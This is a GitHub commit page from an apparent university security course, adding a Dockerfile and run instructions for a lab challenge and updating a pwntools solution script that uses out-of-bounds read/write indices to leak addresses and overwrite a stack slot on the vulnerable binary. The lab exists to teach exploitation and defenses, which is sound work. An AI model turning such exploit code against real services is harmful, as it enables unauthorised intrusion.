Skip to content

Commit 4d1f4b3

Browse files
committed
Add Dockerfile for chapters/mitigations-and-defensive-strategies, 01-rwslotmachine1
Signed-off-by: ClaraStefania <stefania.diaconescu@stud.acs.upb.ro>
1 parent 2d21544 commit 4d1f4b3

File tree

3 files changed

+49
-14
lines changed

3 files changed

+49
-14
lines changed
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# Stage 1: Build Stage
2+
FROM gcc:latest AS build
3+
4+
WORKDIR /app
5+
6+
COPY rwslotmachine1.c .
7+
8+
# Compile the C code into an executable
9+
RUN gcc -Wall -Wextra -O2 -o rwslotmachine1 rwslotmachine1.c
10+
11+
# Stage 2: Runtime Stage
12+
FROM ubuntu:latest
13+
14+
WORKDIR /app
15+
16+
COPY --from=build /app/rwslotmachine1 /app/rwslotmachine1
17+
18+
EXPOSE 31344
19+
20+
# Run the application
21+
CMD ["./rwslotmachine1"]
Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
## Building and running
2+
3+
1. Build the Dockerfile
4+
```bash
5+
docker build -t ransomware1 .
6+
```
7+
8+
2. Run the Dockerfile
9+
```bash
10+
docker run -it -p 31344:31344 ransomware1
11+
```
12+

chapters/mitigations-and-defensive-strategies/defense-mechanisms/activities/01-rwslotmachine1/sol/sol_no_nx.py

Lines changed: 16 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
from pwn import *
22

3-
local = False
3+
local = True
44
# Both solutions work against the Docker container instance.
55
# Only solution 2 works locally.
66
# Solution 1 fails on the local machine because there is no valid address at that index.
@@ -13,21 +13,23 @@
1313

1414

1515
def do_read(idx):
16-
p.recvuntil(">")
17-
p.sendline("1")
18-
p.recvuntil("index:")
19-
p.sendline(str(idx))
20-
p.recvuntil("]: ")
21-
return int(p.recvuntil("\n")[:-1], 16)
16+
p.recvuntil(b">")
17+
p.sendline(b"1")
18+
p.recvuntil(b"index:")
19+
p.sendline(str(idx).encode())
20+
p.recvuntil(b"]: ")
21+
leak = p.recvline().strip()
22+
print(f"Raw Leak: {leak}")
23+
return int(leak, 16)
2224

2325

2426
def do_write(idx, value):
25-
p.recvuntil(">")
26-
p.sendline("2")
27-
p.recvuntil("index:")
28-
p.sendline(str(idx))
29-
p.recvuntil("value:")
30-
p.sendline(hex(value))
27+
p.recvuntil(b">")
28+
p.sendline(b"2")
29+
p.recvuntil(b"index:")
30+
p.sendline(str(idx).encode())
31+
p.recvuntil(b"value:")
32+
p.sendline(hex(value).encode())
3133

3234

3335
if SOLUTION == 1:
@@ -45,4 +47,4 @@ def do_write(idx, value):
4547

4648
do_write(-8, stack_slots)
4749

48-
p.interactive()
50+
p.interactive()

0 commit comments

Comments
 (0)